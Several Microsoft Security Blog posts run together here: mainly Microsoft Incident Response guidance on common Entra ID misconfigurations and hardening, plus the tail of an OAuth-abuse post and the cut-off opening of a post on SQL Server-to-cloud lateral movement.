Microsoft Sentinel customers can use the TI Mapping analytics (a series of analytics all prefixed with ‘TI map’) to automatically match the malicious domain indicators mentioned in this blog post with data in their workspace. If the TI Map analytics are not currently deployed, customers can install the Threat Intelligence solution from the Microsoft Sentinel Content Hub to have the analytics rule deployed in their Sentinel workspace.

Analytic rules:

• Phishing Link Execution Observed
• Possible AiTM Phishing Attempt Against AAD
• Successful Signins from a Phishing Link
• Signin Password Spray
• Malicious Inbox Rule
• BEC Mailbox Rule

Hunting queries:

• Open Email Link
• Creation of an anomalous number of resources
• Creation of expensive computes in Azure

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog: https://aka.ms/threatintelblog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn at https://www.linkedin.com/showcase/microsoft-threat-intelligence, and on X (formerly Twitter) at https://twitter.com/MsftSecIntel.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast: https://thecyberwire.com/podcasts/microsoft-threat-intelligence.

The post Threat actors misuse OAuth applications to automate financially driven attacks appeared first on Microsoft Security Blog.

The team has observed common misconfigurations for both Microsoft Entra ID and on-premises Active Directory across various industry verticals. While Microsoft Entra ID differs from on-premises Active Directory in how it functions and how it is architected, similar high-level incident response and hardening principles can be applied to both. Concepts such as administrative least privilege, regularly reviewing access and application permissions and reviewing activity are important to secure both Active Directory and Microsoft Entra ID.

Microsoft IR engages with hundreds of customers each year, including many of the largest organizations worldwide. These organizations can have hundreds of thousands to millions of active users of Microsoft Entra ID and incredibly complex identity systems. In this blog, we present details on the common misconfigurations observed in these engagements and provide guidance on how to properly configure Microsoft Entra ID to remove risks and harden environments against cyberattacks. This blog is designed to be a Microsoft Entra ID companion piece to a previously published Microsoft IR blog on lessons learned on securing on-premises Active Directory.

• Misconfigured hybrid identity setups
  • Compromised Active Directory Federation Services or equivalent federated identity systems
  • Complex identity systems
  • Compromised synced service accounts
• Token theft of highly privileged accounts
• Excessive privilege granted to users
• Excessive privilege granted to workload identities
• Poor device access control
• Poor application access control
• Misconfigured delegated administrative privileges (DAP) permissions
• Misconfigured Conditional Access policy
• OAuth and consent phishing
• Self-service password reset & MFA social engineering
• Recommended focus areas to prevent identity compromise

To understand a compromise incident and aid in investigations, Microsoft IR retrieves the configuration of Microsoft Entra ID by reading tenant metadata from the Microsoft Graph API. This data is used to both investigate threat actor activity and to aid in providing recommendations for securing Microsoft Entra ID. In addition to configuration metadata, we also leverage native cloud forensic log sources such as Microsoft Entra ID sign-in and audit data – these data sources are available to any organization using Microsoft Entra ID. Open-source tools such as the Microsoft Entra ID Response PowerShell module, developed in conjunction with the Microsoft Entra ID product group, or the untitled goose tool from CISA can retrieve this same data.

Additionally, Microsoft IR uses Microsoft 365 Defender advanced hunting data such as log data from Microsoft Defender for Cloud Apps, and any other relevant log sources a customer may have. In cases of hybrid identity, logs from systems such as Active Directory Federation Services (AD FS) or third-party multifactor authentication (MFA) providers are also relevant. Depending on the nature of the investigation, traditional endpoint forensic sources may also need to be examined.

Misconfigured hybrid identity setups

In the following sub-sections, we present details on the different scenarios involving misconfigured hybrid identity setups that could lead to compromise of Microsoft Entra ID.

Compromised Active Directory Federation Services or equivalent federated identity systems

Each organization’s hybrid identity configuration is unique, and many organizations use a federated identity provider when users authenticate to cloud apps, such as Microsoft 365. These federated identity providers enable user authentication. While a significant percentage of organizations have now moved to cloud-native authentication in Microsoft Entra ID, these federated identity providers, such as AD FS and other third-party identity providers, are still in use.

Microsoft IR finds that federated identity providers present an administrative blind spot within organizations. Hybrid identity can be architecturally complicated with many moving pieces, which often lends itself to operational oversight. Securing these hybrid identity systems is complex, especially legacy solutions, and a single misconfiguration can lead to a significant compromise of an organization’s entire identity plane.

Federated identity providers are a favored target of some nation-state actors: these threat actors understand that if they can compromise the Tier 0 identity plane, then they can persist undetected within an environment for extended periods of time and take control of all identities. Microsoft has published blogs covering the sophisticated cyberattacks seen against AD FS, such as MagicWeb. A deep dive into this tactic was also covered in the Microsoft IR Cyberattack series.

Microsoft IR has also been engaged in multiple incidents where the Token Signing Certificate (TSC) was stolen from on-premises federation servers. Using this stolen certificate, attackers could forge their own SAML tokens and authenticate successfully to Microsoft Entra ID. With this certificate, a threat actor can successfully authenticate as any user in the tenant with any claims without requiring the user’s credentials.

Recommendations

• Microsoft IR strongly recommends moving to native Microsoft Entra ID authentication and decommissioning AD FS (or other federated identity providers) where possible. This reduces the overall complexity of the organization’s identity plane and makes it easier to secure identities.
• If you must use federated identity providers, it’s important to secure and monitor them appropriately.
  • For organizations using AD FS, ensure that the Microsoft Entra Connect Health client is installed. This client correlates multiple Event IDs from AD FS and enriches Microsoft Entra ID sign-in data with that information. This can both help with creating detection and threat hunting rules and serve as a valuable source of forensic data in the event of a compromise.Ensure that appropriate logging is enabled for AD FS and those logs are sent to a SIEM such as Microsoft Sentinel, where detection rules can be created, for both user and system-level compromise, including certificate theft. If an attacker can steal the token signing certificate from AD FS, they can forge their own tokens to authenticate to Entra ID. In these cases, Entra ID will alert on anomalies with the token issuer. Additionally, sign ins using forged tokens may trigger other risk events such as unfamiliar features.If your current MFA solution is integrated to AD FS, consider using native integrated MFA, especially phishing-resistant, options available in Entra ID
  • For organizations with Microsoft Defender for Identity and Microsoft Defender for Endpoint, ensure the agents are deployed to AD FS. Both products have specific capabilities to detect cyberattacks against AD FS.
• For other federated identity providers, ensure those services are configured in line with best practices and that both user logon telemetry and system-level audit events are sent to a central SIEM. Threat actors can dwell in environments, especially identity systems, for months or years before being detected, so it is important that key logs are kept for a long period of time. This helps responder teams understand how initial access was gained and ensure complete threat actor eviction from the environment.

Complex identity systems

Modern identity systems are complex and have changed significantly as ways of working have evolved. Organizations can have multiple identity providers, third-party MFA providers, custom systems designed for user onboarding and offboarding, and other interconnected systems. All these systems form an end-to-end trust chain that is an attractive target for threat actors. The more complex these systems are, the more difficult it is to adequately secure them. Organizations may have network appliances that complete 802.1x authentication, custom identity governance systems that manage user lifecycle, certificate authorities and HSM devices. Each system requires patching and vulnerability management, sufficient monitoring and maintenance and human expertise to ensure secure configuration. Additionally, certificate and credential management across these systems add further complexity.

For example, AD FS is trusted to issue tokens for users. Other systems, such as Microsoft Entra ID, accept those tokens and then authorize the users they represent. If AD FS is compromised, then the legitimacy of those tokens is in question. Each system needs to be adequately secured and monitored to ensure complete trust, as a compromise of a single system could lead to compromise of them all.

If a user signs into Microsoft 365 and the authentication is via a non-Microsoft identity provider, and then MFA is provided by yet another provider, significant complexity is added to the authentication flow. For instance, different systems may be responsible for validating passwords, checking certificates, performing MFA, and issuing tokens – these may be on-premises systems, non-Windows platforms, or third-party cloud solutions. In these situations, each system that forms part of this authentication flow trusts the others.

For example, Microsoft IR was recently engaged with an organization that suffered tenant-level compromise of Microsoft Entra ID. Once the investigation was complete, it was determined that an internet-facing on-premises server, which lacked MFA or proper access controls, had been compromised. That server ran a custom piece of software designed to sync users between multiple business systems. Once the threat actor gained access to the server, they uncovered the credentials for a Global Administrator-level service account. Servers that host key identity applications and integration services are often not held to the same security standard as Domain Controllers, decreasing the security posture of the entire identity plane significantly.

Misconfiguration or administrative oversight on any one of these interconnected systems leads to a decrease in overall security controls. If Microsoft Entra ID is configured to offload MFA to a third-party MFA provider and that MFA is misconfigured, Microsoft Entra ID will still trust the telemetry and configuration of that service.

Recommendations

• It’s crucial to understand all the systems that form your identity plane and how authentication and authorization flow between them. Understand which systems are responsible for which workloads within your identity trust chain.
• Treat the entire authentication system as tier 0, as compromise of a single link within it can lead to complete compromise.
• Ensure that all systems are configured in line with best practices and that the collective configuration is enforcing implemented policies as expected.
• For all systems forming your identity plane, ensure that sufficient logging is available, and that data is kept for a long period of time, preferably 2 years or more. Logging should include user logon events, administrative activity, and configuration changes. Having sufficient logging not only helps detect potential cyberattacks, but it can also alert on changes to any individual system that can reduce overall security posture, and, in the event of an incident, serve as a source of forensic information.
• Where possible, simplify the authentication and authorization mechanisms in your environment. This helps to reduce the attack surface of identity compromise. With each additional system, you increase the overhead of securing those systems and increase the chance of misconfiguration or compromise of one of them.

Compromised synced service accounts

In the hybrid identity world, most users and groups are synced from on-premises Active Directory to Microsoft Entra ID. This is required to allow users to access cloud resources via the same set of credentials used on premises. However, in engagements seen by Microsoft IR, accounts used to manage Microsoft Entra ID, such as Global Administrators, have also been synced to Microsoft Entra ID from on-premises. Staff then often use the same credentials to manage both environments.

If Active Directory is compromised and the credentials for these accounts are found by a threat actor, this allows them to easily pivot into Microsoft Entra ID, expanding the scope of the compromise. Synced service accounts are particularly vulnerable to exploitation. Microsoft IR commonly sees service accounts used to manage both on-premises Active Directory and Microsoft Entra ID targeted by threat actors. These accounts generally hold a high level of privilege in Microsoft Entra ID (often Global Administrator) but aren’t subject to the same controls such as MFA or Microsoft Entra Privileged Identity Management (PIM).

Microsoft IR has been involved in numerous investigations where on-premises Active Directory compromise led to Microsoft Entra tenant compromise. Threat actors sometimes uncover account credentials in clear text due to poor handling of credentials in an on-premises environment. If the threat actor already has a foothold in the on-premises environment, controls such as MFA are often not enforced as these networks are seen as ‘trusted’.

Recommendations

• Microsoft IR strongly recommends that accounts used to administer Microsoft Entra ID are native to Microsoft Entra ID using managed authentication and are not synced from on-premises Active Directory. This reduces the scope of compromise if Active Directory gets compromised by preventing a threat actor from leveraging the same credentials to compromise Microsoft Entra ID. Specific guidance to protect Microsoft 365 from on-premises cyberattacks can be found at https://aka.ms/protectm365 and https://aka.ms/securitysteps.
• Any account that holds privilege in on-premises Active Directory, such as Domain Administrators and the respective groups such as Domain Admins, should be completely excluded from being synced to Microsoft Entra ID.
• The credentials for service accounts that interact with Microsoft Entra ID and Active Directory should be stored securely, and not in clear text where they are easily recoverable by a threat actor.
• Privileged accounts should not be excluded from Microsoft Entra Conditional Access policies, regardless of network location. These accounts should always be held to the highest standards of security, specifically the use of Privileged Identity Management and phishing-resistant credentials such as FIDO2, including for break glass accounts.
• Service accounts that require both privileges to on-premises Active Directory and Microsoft Entra ID should have specific technical controls applied to them. This can include Conditional Access blocking access from non-approved locations or IP addresses, specific detection rules, and monitoring to alert on anomalous activity with these accounts.

Token theft of highly privileged accounts

Token theft is an increasingly common tactic used by threat actors. This technique can allow threat actors to access even MFA-protected resources. Token theft utilizes either credential stealing malware, to steal tokens from end user devices, or adversary-in-the-middle (AiTM) infrastructure to steal tokens during authentication.

AiTM attacks are targeted at users through phishing campaigns. Users are tricked to not only enter their user credentials to a malicious site, but the malicious site also steals the tokens associated with the sign in. These tokens have already satisfied MFA and can be reused by the adversary. This token is then imported to a threat actor-controlled device and access to MFA protected resources granted. Microsoft IR has previously written on the increase of token theft attacks.

Microsoft IR has seen cases where Global Administrator accounts were directly targeted by AiTM phishing. As result, a Global Administrator tier token was stolen, leading to tenant-level compromise.

In addition to AiTM phishing, tokens can also be stolen from endpoint devices themselves via credential-stealing malware. Microsoft IR has been engaged with organizations where credential-stealing malware was installed on an administrator’s endpoint device via an initial phishing email. While the admin used separate accounts for their day-to-day and administrative work, the Global Administrator had signed into both accounts from the same device. The malware had the capability to extract all the credentials and tokens on the device, eventually leading to tenant-level compromise.

Tokens on endpoints are typically stored as cookies, and theft can occur in several ways. Commodity malware such as Emotet, Redline, IcedID, and others have the capability to steal both credentials and tokens. Pirated or cracked software often has token and cookie stealing malware embedded within it as well.

Recommendations

• To increase the security of these accounts, phishing-resistant MFA methods such as FIDO2 keys and certificate-based authentication should be used. Authentication strengths can be used to enforce these MFA methods for the highest privileged accounts. Authentication strengths can prevent admins using weaker MFA methods, such as SMS or phone calls.
• To remove the attack vector of direct phishing attempts, users that hold privilege in Microsoft Entra ID should not have a mailbox assigned.
• When accessing Microsoft Entra ID to complete administrative tasks, access should be granted via a native Microsoft Entra account, not one synced from on-premises Active Directory.
• Access to the Microsoft Entra ID Portal and other similar management interfaces should also be restricted to only hardened workstations known as privileged access workstations. These workstations are designed to only administer Microsoft Entra ID and restricted from accessing other sites to reduce the attack surface of endpoint compromise.
• Microsoft has published a specific incident response playbook for cloud token theft. It is worth familiarizing yourself with to understand how to respond quickly.
• To prevent token theft more broadly, token protection (also known as token binding more generally) is currently in preview in Microsoft Entra Conditional Access. As a preview feature, it has certain limitations; however, it is still a valuable control. Token protection seeks to prevent replay of primary refresh token theft by binding an issued token to a specific device.

Excessive privilege granted to users

Much like on-premises Active Directory, Microsoft IR often sees accounts granted privilege that they do not require. While organizations often have mature technical controls over their Global Administrator accounts, these controls do not cover other privileged roles in Microsoft Entra ID. Global Administrator lives atop the privilege hierarchy, but there are also other roles that can lead to compromise. These include, but are not limited to:

• Privileged Role Administrator – can add users to Global Administrator and other privileged roles
• Privileged Authentication Administrator – can reset the password of or register MFA for a Global Administrator
• Security Administrator – can read and manage security related settings across Microsoft Entra ID and Microsoft 365 Defender
• Application Administrator – can generate a credential on any Microsoft Entra ID application
• Domain Name Administrator – can add a federated domain
• Conditional Access Administrator – can degrade access conditions
• Intune Administrator – can manage all aspects of Intune, including deploying software and remote wiping devices

These roles, along with others, are now flagged as privileged in the Microsoft Learn documentation, allowing organizations to focus on securing users that hold those roles. In many of our engagements, Global Administrators are not directly compromised. A user holding another privileged role is often initially targeted, and from there, the threat actor could escalate up to Global Administrator. In one instance, a service desk staff member who held the Privileged Authentication Administrator role was socially engineered into updating the MFA details for a Global Administrator. Once this had occurred, the threat actor completed self-service password reset for the Global Administrator account and then took control of the tenant.

Recommendations

• Microsoft IR recommends that organizations audit current role assignments to ensure privileged users are granted only the access required– enforcing least privilege to organizational resources. Roles that Microsoft considers privileged are now highlighted in the documentation, and in the Microsoft Entra portal itself – highlighting the importance of managing users in these roles.
• Ensure that all roles that could lead to tenant-level compromise are protected, not just Global Administrator. Changes to these roles should generate a high-priority alert to be investigated to confirm the activities are not malicious.
• AzureHound, the cloud sibling of BloodHound, can be used to visually map attack paths through Microsoft Entra ID. It is recommended that sanctioned audits using this tool are run and attack paths are removed or mitigated.
• Microsoft Entra PIM can provide further protection to these roles by ensuring users have just-in-time access to their roles and requesting that access is governed by additional workflows.

Excessive privilege granted to workload identities

A workload identity is a non-human identity created and assigned to a workload (such as a script, application, or other services) to allow them to authenticate and access other resources. For example, you may create a workload identity to provide custom integration between Microsoft Teams and Exchange Online. In Microsoft Entra ID, these are known as applications and service principals. Like users, these applications and service principals can be assigned to roles, such as Global Administrator, or provided specific access to API endpoints. Credentials like secrets or certificates are generated for the workload identity, and then used to authenticate.

Like service accounts in on-premises Active Directory, these workload identities are often granted much higher privileges than required, for example:

• Directory.ReadWrite.All – Allows the app to read and write data in your organization’s directory, such as users, and groups
• User.ReadWrite.All – Allows the app to read and write the full set of profile properties, reports, and managers of other users in your organization, on behalf of the signed-in user
• Mail.ReadWrite – Allows the app to create, read, update, and delete mail in all mailboxes without a signed-in user

Even though the applications ask for and are subsequently granted access to these broad privileges, usually the applications require much less access to function correctly. For instance, they may need access to a specific mailbox, not all mailboxes. Microsoft has published specific guidance to understand appropriate permission scoping in Microsoft Entra ID.

These service principals and applications are often not secured to the same level as standard user accounts. Part of that is the nature of how they work: it is not possible to configure MFA for these applications, as they are non-human identities. Additionally, where a user may notice strange behavior on their account and provide feedback to security teams, there is no equivalent feedback for applications. Often, malicious activity from workload identities goes unnoticed because detection logic is focused on user identities.

Recommendations

• Applications and service principals should be granted access using the least-privilege principle. Often internal development teams or external third-party vendors request privileges over and above what are required because they make it easier for the service to work. However, this presents a significant risk and should be avoided.
• Microsoft recommends the use of strong credentials, such as certificates, for applications, instead of client secrets. Microsoft IR often finds client secrets held in clear text in emails or saved in easy to find locations. If the application is interacting with Microsoft Azure or other Microsoft services, then the use of Entra ID Managed Identities is recommended. Managed Identities eliminate the need for organizations to manage the credentials for these workloads.
• If providing access to the Microsoft Graph, exceptionally granular permissions are available for the various endpoints. Security teams should challenge requests for high privileges across Microsoft Graph. The permissions reference page lists the name of the permission and what access is provided if that permission is granted.
• For security teams and administrators that are familiar with Active Directory and less so with Microsoft Entra ID, it’s worth understanding how the permissions structure in Microsoft Entra ID and Microsoft Graph works. That way you are better informed to challenge requests for excessive privilege.
• Conditional Access for workload identities is available as a feature in Microsoft Entra Workload ID. As previously mentioned, due to the nature of these identities, MFA and similar controls cannot be enforced. With Conditional Access, however, you can allow access from specific IP locations or block access based on elevated risk patterns detected by Microsoft.
• Alerts should be configured to detect new credentials, additional privileges being added to existing applications, and anomalous sign-in activity. Much like users, service principals generate log in data and detections for new IP addresses or locations should be created. Threat actors have been known to compromise accounts with access to generate new credentials on pre-existing applications with high privilege, thereby allowing tenant takeover.

Poor device access control

In many engagements, Microsoft IR has detected threat actors registering their own devices to the Microsoft Entra tenant, giving them a platform to escalate the cyberattack. While simply joining a device to a Microsoft Entra tenant may present limited immediate risk, it could allow a threat actor to establish a foothold in the environment. Conditional Access or Microsoft Intune policy misconfiguration may allow this threat actor-controlled device to be marked as compliant. The threat actor could then access additional and potentially sensitive company resources. From there, they might be able to locate additional credentials or compromise further users to escalate privilege within the environment.

Microsoft IR was recently engaged with an organization that allowed users to join their own devices to Microsoft Entra ID. Threat actors compromised a regular user account via phishing and then used the compromised credentials to join their own device to the tenant. The actors then leveraged a misconfiguration in Intune to allow that device to be marked as compliant. From there, the threat actor was able to satisfy Conditional Access and access Microsoft 365, where they located the credentials of a privileged account sent via email.

Recommendations

• If you allow end users to register or join their own devices to your Microsoft Entra tenant, then Microsoft IR recommends you control the ability to complete those actions via Conditional Access.
• Using Conditional Access, you can add additional security to your tenant by creating policies to require MFA when joining or registering a device. Depending on the requirements of your business, you could enforce the MFA requirement to particular users, or locations such as untrusted locations. Microsoft IR recommends, however, requiring MFA for all device join events where possible.

• Auditing and alerting should be configured for device joining events to detect anomalous behavior such as users registering multiple devices, suspicious device names, or unusual times. Users themselves can be sent notifications via Intune each time a device is enrolled via their account; if they didn’t initiate the action, they can report it as suspicious.
• Hold members of the Intune Administrator role to the same security standard as more well known privileged roles, such as Global Administrator

Poor application access control

When analyzing customer tenants, Microsoft IR often finds that their lines of business applications do not have sufficient access controls applied to them. Applications such as IT service management and ticketing systems, code repos, HR systems, and more are available to any user, including guest accounts. Microsoft IR was recently engaged with an organization where the threat actor compromised a user by phishing. Once the actor had control over the account, they accessed the MyApps portal and began systematically accessing all the applications listed there. Eventually, they signed into the IT system used for onboarding and offboarding accounts and requested a new privileged account, despite having no reason to have access to that system. A new account was provisioned, giving the actor a privileged account under their control.

Microsoft IR often detects threat actors browsing the https://myapps.microsoft.com portal and trying to access all the applications visible there. Often the compromised user account has no business justification to access these applications, but access is granted to groups containing all user accounts or have no access control at all. These applications may have confidential data, contain unsecured credentials, or could allow threat actors to gain insights into business processes to facilitate social engineering.

Recommendations

Access to all business applications should be restricted to only those that require it. Microsoft Entra ID provides the capability to both restrict access to applications, and to hide the visibility of applications in the MyApps portal. Access to applications should always be governed by a security group, so that users are granted only the access required to work. To ensure that users can still access applications they require, self-service capability for requesting access is available in Microsoft Entra ID. Requests for access can be delegated to application owners, so that IT teams don’t need to fulfill every request.

Access reviews and entitlement management capabilities in Entra ID can help organizations management the on going governance of access and entitlement lifecycle at scale. These tools work together to allow users to gain access to the applications and data they need easily and give security teams the tools to ensure access is granted on as needed basis.

Misconfigured delegated administrative privileges (DAP) permissions

The DAP permissions model was created to allow Cloud Solution Providers (CSP) to provide services and licensing support to customers. A CSP could send an invitation to a customer to request a partner relationship. Prior to an update to the permissions model, upon accepting one of these invitations, the CSP would gain Global Administrator rights in the customer tenant.

In addition, customers themselves could not manage which users held privilege in their tenant. Membership in ‘AdminAgents’ group in the CSP tenant would provide downstream privilege to any customer tenants configured. These permissions are often a relic of previous partners or historical licensing agreements and the CSP may no longer be actively engaged with the customer.

CSP tenants have become an attractive threat actor target, as compromise of a single tenant can provide administrative access to any number of downstream tenants. Microsoft IR has been engaged in several incidents with organizations that have lost control of their tenant via a delegated administrative privilege configuration they were unaware existed. The threat actor compromised an account located in the AdminAgents group in the partner tenant via phishing. They then used the downstream privilege to create a Global Administrator account in our customer’s tenant and take control. Both the partner and the customer were unaware this relationship existed.

Recommendations

• Review the list of delegated administrative privileges in your tenant to understand if any such partnerships exist. If any are configured, assess if your business still requires your partner to retain privilege in your tenant.
• If they do require privilege, Microsoft recommends migrating to granular delegated admin privileges (GDAP). This updated permission model better aligns with Zero Trust principle of least privilege access and hands more control back into the hands of the customers themselves.
• Depending on the nature of the partner relationship, it may be possible to remove the delegated partner configuration entirely, and instead on-board accounts native to your tenant and securely provide the credentials to any resource that requires access to your tenant.

Misconfigured Conditional Access policy

It is common for Microsoft IR to find gaps in Conditional Access policies, particularly policies covering the most privileged accounts. It’s important to understand that threat actors can enumerate Conditional Access policies using a regular user account. By enumerating Conditional Access policies, threat actors can find those gaps and attempt to move laterally through them. For example, if MFA is excluded for users in a particular group or from specific locations, then a threat actor will attempt to add themselves to that group or compromise an account already excluded.

Furthermore, corporate networks are often excluded from MFA entirely and considered ‘trusted’ locations. This configuration and mindset are representative of the way of work from years ago, where being on the corporate network granted users and devices implicit trust. If a threat actor can find a way onto that network by compromising a device already connected to the network or gaining access via VPN, then at that point, they are considered ‘trusted’ and are unlikely to be further prompted for strong authentication.

Additionally, Microsoft IR regularly sees organizations that have configured their Conditional Access policies in a way that is overly complicated. While these policies are often created with the right intentions, as the policies add up, it becomes hard to tell which are enforced. The combination of these policies can give users a poor experience. This can make them susceptible to cyberattacks like MFA fatigue/spam. If users are being prompted dozens of times a day for MFA or being signed out of their session every few hours, they are going to pay less attention to a prompt for their credentials or an MFA prompt on their phone. As a result, when a threat actor-generated MFA prompt is sent to them, they might be less likely to consider it suspicious and report it as fraudulent.

Recommendations

• There are often legitimate business reasons why exclusions to Conditional Access need to apply; however, it is key that your privileged and Tier 0 accounts continue to be secured correctly.
• Alerts should be configured for any changes, additions, or deletions to Conditional Access. This will help detect both accidental and malicious changes to your policies.
• Any groups that are configured as exclusion groups for policies should be monitored for changes. Privileged users can be excluded from key policies by being placed into a group that then excludes them from policies. Microsoft Entra ID Access Reviews can be used to ensure continued governance of the members of these groups.
• Microsoft IR recommends enforcing strong authentication for users regardless of location, even if connecting via a corporate network, starting with your most privileged accounts. This is a key component of Zero Trust security principles, where we verify users and devices explicitly, regardless of location.
• It is worth periodically reviewing Conditional Access policies to ensure they are enforcing the expected controls. To help with this, you can simulate sign-in events with the ‘What If’ tool. Often multiple policies can be rolled into one. This provides better and more consistent user experience, and even just simplifying policy design can lead to improved security. There is also built in insights and reporting into Conditional Access, to help both identity and address gaps in policy.

It’s important to note that Zero Trust does not mean users should be prompted for MFA each time they access a resource. Modern strong authentication methods such as Windows Hello for Business provide the best combination of security and useability.

OAuth and consent phishing

Consent phishing expands on traditional phishing by tricking users into installing malicious OAuth applications rather than tricking them into providing their credentials. With consent phishing, users are tricked into providing threat actors with direct access to their personal or organizational data. The user may be presented with a link in an email that when clicked requests that the user consent to an application. The consent page will show the permissions requested by the application, and if the user has the right to consent, the application, and in turn the threat actor, is granted access to the data. These applications may be named in a way that appears that they are legitimate to users.

These kinds of cyberattacks are of particular concern if administrative accounts are targeted. If a privileged user is targeted by consent phishing, they may have the ability to consent to organization-wide permissions, granting the threat actor broad access into your tenant.

When standard users are targeted by consent phishing, the permissions requested can be considered low impact, but this type of cyberattack can provide a means for a threat actor to harvest information and data that can lead to higher impact. For example, if a user clicks and consents to a malicious application that provides access to only their email and OneDrive, that may be considered a minor incident. With that access though, the threat actor could enumerate all the corporate data that the user can access. That user may have access to sensitive credentials, personally identifiable information, or market sensitive information, which the threat actor can locate.

Microsoft, often with the help of security researchers and the security community, disables known malicious OAuth applications. At the same time, it’s important to protect yourself from these kinds of cyberattacks.

Recommendations

• Microsoft Entra ID provides strong and granular controls to protect your organization from consent phishing and other malicious application consent. These settings are configured in the Microsoft Entra portal. Microsoft IR recommends that the first or second option be selected. If your organization has the capability to respond effectively to all requests for application consent, then the first option, ‘Do not allow user consent’, is the most secure.

• Many organizations do not have the resources available to manage every request; in these cases, the second option provides the best mix of security and user experience. Staff can consent to applications that are from verified publishers or those considered to have a low impact in terms of permissions requested.
• Microsoft Defender for Cloud Apps can be utilized to investigate and remediate risky OAuth apps.
• As previously mentioned, privileged users should not have mailboxes assigned to them. This reduces the attack vector of traditional and consent phishing being targeted towards them.

Self-service password reset & MFA social engineering

Microsoft IR has seen cases of threat actors leveraging social engineering techniques to have service desk or similar staff update the self-service password reset (SSPR) and MFA details for users.

Microsoft IR commonly sees service desk staff being targeted via social engineering tactics. Often, a threat actor impersonates a user by creating an outlook.com or gmail.com mailbox with the same name as the legitimate user. They then send an email to the service desk and say that they have a new email address or phone number and ask the service desk to update their MFA details. Once this is completed, the threat actor could initiate self-service password reset and take over control of the account. With this initial foothold to the environment, they could pivot into Microsoft 365 and attempt to escalate privilege. Microsoft IR has seen these attempts target Global Administrator accounts directly as well as regular users.

Certain threat actors may even call the service desk and impersonate the user, taking information from sites such as LinkedIn, other information acquired from open-source intelligence (OSINT), or personal data lost in other breaches to successfully pass any identity validation required. The service desk then resets the password on the user account, or updates an MFA method, granting access to the attacker.

On top of being an initial access vector, this can also be a persistence mechanism deployed by threat actors to regain control over an already compromised account. If a user is detected as compromised and their credentials reset, the threat actor can again complete the SSPR workflow to regain access to that account.

Recommendations

• While SSPR is the preferred method of credential reset and is more secure than other methods, such as emailing credentials in clear text, it could still be susceptible to social engineering. Business processes should attempt to reduce the risk of these attempts succeeding. Importantly, empower your service desk staff to say no, or require additional validation, when something seems suspicious.
• Requests for updates to SSPR and MFA details should be validated to confirm they are legitimate, such as by challenging the user via the phone or having them confirm other details a threat actor would not have (e.g., employee ID numbers). Additionally, visual confirmation, via video calling, that the user is who they say they are can be a strong control.
• MFA registration can be further secured through the use of Temporary Access Passes (TAP). A TAP is a time-limited passcode that can be generated for users. More mature organizations have begun using these to protect the MFA registration process. A user will call the helpdesk and verify their identity. They are then granted a TAP which allows them access to the MFA registration portal for a short period of time, allowing them to then register their own MFA device.
• Ensure that IT admin staff that have the privilege to update passwords or MFA details for other privileged users are held to high security standards, such as phishing resistant MFA.
• Detections should be created for potential social engineering attempts for SSPR and MFA. These could include detections such as an update to SSPR details followed by risky sign-ins. A threat actor that takes control over an account will likely then attempt to sign into it, and if it is from a different location or has other unfamiliar features, it may trigger additional risk.

Recommended focus areas to prevent identity compromise

In real-world engagements, Microsoft IR sees combinations of the above issues and misconfigurations that could lead to total Microsoft Entra ID compromise. Depending on the motivation of the threat actor, this could further lead to additional malicious attacks, or even tenant destruction.

In the above cyberattack chain, a regular user was compromised through phishing. Through additional weak controls, poor credential hygiene, and lack of additional security over Tier 0, the entire tenant was compromised.

Compared to Active Directory, cyberattacks on Microsoft Entra ID are relatively new, and additional new attacks are constantly emerging. Microsoft IR recommends focusing on controls that will prevent your most privileged accounts being compromised. Focusing on protecting and hardening identities with the highest privilege makes the biggest impact in preventing identity compromise.

• Reduce privilege – All user and non-human identities should be assigned access according to the principle of least privilege. This will help prevent single user compromise leading to tenant-level compromise.
• Protect Tier 0 – All Global Administrator accounts, equivalent service principals, and accounts with additional paths to Tier 0 should be held to stricter security controls, including phishing-resistant MFA.
• Use cloud-only administrative accounts – All accounts that have privilege in Microsoft Entra ID should be cloud-native and not synced from Active Directory.
• Protect hybrid identity – In instances of complex hybrid identity, ensure that all interconnected systems such as AD FS or third-party MFA are configured and monitored properly.
• Accelerate your passwordless journey to reduce the risk of credential theft by phishing and other password-based attacks.

Much like on-premises Active Directory, protecting Microsoft Entra ID requires continued governance and monitoring. By reducing risk and controlling our most privileged accounts, you have the best chance of preventing or detecting attempts at tenant-wide compromise.

Matthew Zorich (@reprise_99 on X), Microsoft Incident Response

Listen to Matt discuss the importance of knowledge sharing and practical experimentation in incident response in the Microsoft Threat Intelligence Podcast episode, Incident Response with Empathy.

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog: https://aka.ms/threatintelblog.

To get notified about new publications and to join discussions on social media, follow us on X (formerly Twitter) at https://twitter.com/MsftSecIntel.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast: https://thecyberwire.com/podcasts/microsoft-threat-intelligence.

The post Microsoft Incident Response lessons on preventing cloud identity compromise appeared first on Microsoft Security Blog.

The attack flow we observed initiated multiple Microsoft Defender for SQL alerts that allowed us to identify and analyse the cloud lateral movement technique. The alerts also allowed us to quickly deploy additional protections despite not having visibility of the application that was targeted with the SQL injection vulnerability to access the SQL Server. While our analysis of this attack did not yield any indication that the attackers successfully moved laterally to the cloud resources, we assess that it is important for defenders to be aware of this technique used in SQL Server instances, and what steps to take to mitigate potential attacks.

In this blog post, we elaborate on the attack flow and focus on the main technique that we observed: SQL Server to cloud lateral movement. We will also show how Microsoft Defender for SQL can detect activities related to this type of threat and help responders mitigate such attacks.

Cloud-based lateral movement

As more organizations move to the cloud, we see new types of cloud-based attack techniques that are fundamentally different than the ones that are known from on-premises environments. An example of this is how attackers are finding new vectors to perform lateral movement from certain on-premises environments into cloud resources.

In cloud environments, one of the methods to perform lateral movement is by abusing cloud identities that are bound to the cloud resource. Cloud services like Azure use managed identities for allocating identities to the various cloud resources. Those identities are used for authentication with other cloud resources and services. While managed identities offer advantages in terms of convenience, security, and efficiency, they also come with certain risks that introduce a potential attack vector.

For example, if attackers compromised a VM, they could acquire a token for its attached identity by querying the instance metadata service (IMDS) endpoint. With the managed identity access token, the attackers could perform various malicious operations on the cloud resources that the identity has access to. In the attack we observed, the attackers attempted to perform identity-based lateral movement in an environment where we haven’t seen this technique used before: SQL Server instances.

Known technique, new environment: from SQL Server to cloud

